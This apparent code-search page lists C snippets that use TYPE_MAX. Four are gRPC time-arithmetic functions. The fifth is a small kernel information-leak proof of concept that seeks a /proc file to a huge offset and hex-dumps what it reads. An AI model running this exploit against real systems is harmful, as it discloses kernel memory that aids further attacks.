Esempio n. 1
0
File: time.c Progetto: rootusr/grpc
gpr_timespec gpr_time_add(gpr_timespec a, gpr_timespec b) {
  gpr_timespec sum;
  int inc = 0;
  GPR_ASSERT(b.clock_type == GPR_TIMESPAN);
  sum.clock_type = a.clock_type;
  sum.tv_nsec = a.tv_nsec + b.tv_nsec;
  if (sum.tv_nsec >= GPR_NS_PER_SEC) {
    sum.tv_nsec -= GPR_NS_PER_SEC;
    inc++;
  }
  if (a.tv_sec == TYPE_MAX(time_t) || a.tv_sec == TYPE_MIN(time_t)) {
    sum = a;
  } else if (b.tv_sec == TYPE_MAX(time_t) ||
             (b.tv_sec >= 0 && a.tv_sec >= TYPE_MAX(time_t) - b.tv_sec)) {
    sum = gpr_inf_future(sum.clock_type);
  } else if (b.tv_sec == TYPE_MIN(time_t) ||
             (b.tv_sec <= 0 && a.tv_sec <= TYPE_MIN(time_t) - b.tv_sec)) {
    sum = gpr_inf_past(sum.clock_type);
  } else {
    sum.tv_sec = a.tv_sec + b.tv_sec;
    if (inc != 0 && sum.tv_sec == TYPE_MAX(time_t) - 1) {
      sum = gpr_inf_future(sum.clock_type);
    } else {
      sum.tv_sec += inc;
    }
  }
  return sum;
}
Esempio n. 2
0
File: time.c Progetto: rootusr/grpc
gpr_timespec gpr_time_sub(gpr_timespec a, gpr_timespec b) {
  gpr_timespec diff;
  int dec = 0;
  if (b.clock_type == GPR_TIMESPAN) {
    diff.clock_type = a.clock_type;
  } else {
    GPR_ASSERT(a.clock_type == b.clock_type);
    diff.clock_type = GPR_TIMESPAN;
  }
  diff.tv_nsec = a.tv_nsec - b.tv_nsec;
  if (diff.tv_nsec < 0) {
    diff.tv_nsec += GPR_NS_PER_SEC;
    dec++;
  }
  if (a.tv_sec == TYPE_MAX(time_t) || a.tv_sec == TYPE_MIN(time_t)) {
    diff = a;
  } else if (b.tv_sec == TYPE_MIN(time_t) ||
             (b.tv_sec <= 0 && a.tv_sec >= TYPE_MAX(time_t) + b.tv_sec)) {
    diff = gpr_inf_future(GPR_CLOCK_REALTIME);
  } else if (b.tv_sec == TYPE_MAX(time_t) ||
             (b.tv_sec >= 0 && a.tv_sec <= TYPE_MIN(time_t) + b.tv_sec)) {
    diff = gpr_inf_past(GPR_CLOCK_REALTIME);
  } else {
    diff.tv_sec = a.tv_sec - b.tv_sec;
    if (dec != 0 && diff.tv_sec == TYPE_MIN(time_t) + 1) {
      diff = gpr_inf_past(GPR_CLOCK_REALTIME);
    } else {
      diff.tv_sec -= dec;
    }
  }
  return diff;
}
Esempio n. 3
0
File: time.c Progetto: rootusr/grpc
gpr_timespec gpr_inf_future(gpr_clock_type type) {
  gpr_timespec out;
  out.tv_sec = TYPE_MAX(time_t);
  out.tv_nsec = 0;
  out.clock_type = type;
  return out;
}
Esempio n. 4
0
File: time.c Progetto: rootusr/grpc
gpr_timespec gpr_convert_clock_type(gpr_timespec t, gpr_clock_type clock_type) {
  if (t.clock_type == clock_type) {
    return t;
  }

  if (t.tv_nsec == 0) {
    if (t.tv_sec == TYPE_MAX(time_t)) {
      t.clock_type = clock_type;
      return t;
    }
    if (t.tv_sec == TYPE_MIN(time_t)) {
      t.clock_type = clock_type;
      return t;
    }
  }

  if (clock_type == GPR_TIMESPAN) {
    return gpr_time_sub(t, gpr_now(t.clock_type));
  }

  if (t.clock_type == GPR_TIMESPAN) {
    return gpr_time_add(gpr_now(clock_type), t);
  }

  return gpr_time_add(gpr_now(clock_type), gpr_time_sub(t, gpr_now(t.clock_type)));
}
Esempio n. 5
0
int
main(void)
{
	int fd, ret;
	char buf[DUMP];
	off_t seek, offset=TYPE_MAX(off_t);

	memset(buf, 0, sizeof(buf));

	fd = open(PROC, O_RDONLY);
	if (fd == -1) {
		printf("[-] Error during open(2)\n");
		exit(1);
	}

	printf("[+] Opened " PROC ".\n");

	seek = lseek(fd, offset-DUMP, SEEK_SET);
	if (seek == -1) {
		printf("[-] Error during lseek(2).\n");
		exit(1);
	}

	printf("[+] Seek to offset %lld.\n", seek);

	ret = read(fd, buf, DUMP);
	if (ret == -1) {
		printf("[-] Error during read(2).\n");
		exit(1);
	}
	
	if (ret == 0) {
		printf("[-] read(2) return 0 bytes, your kernel may not be vulnerable.\n");
		exit(1);
	}

	printf("[+] Read %d bytes, dumping to stdout...\n\n", ret);

	sleep(3);

	print_hex_dump(32, 1, buf, ret, 1);

	return 0;
}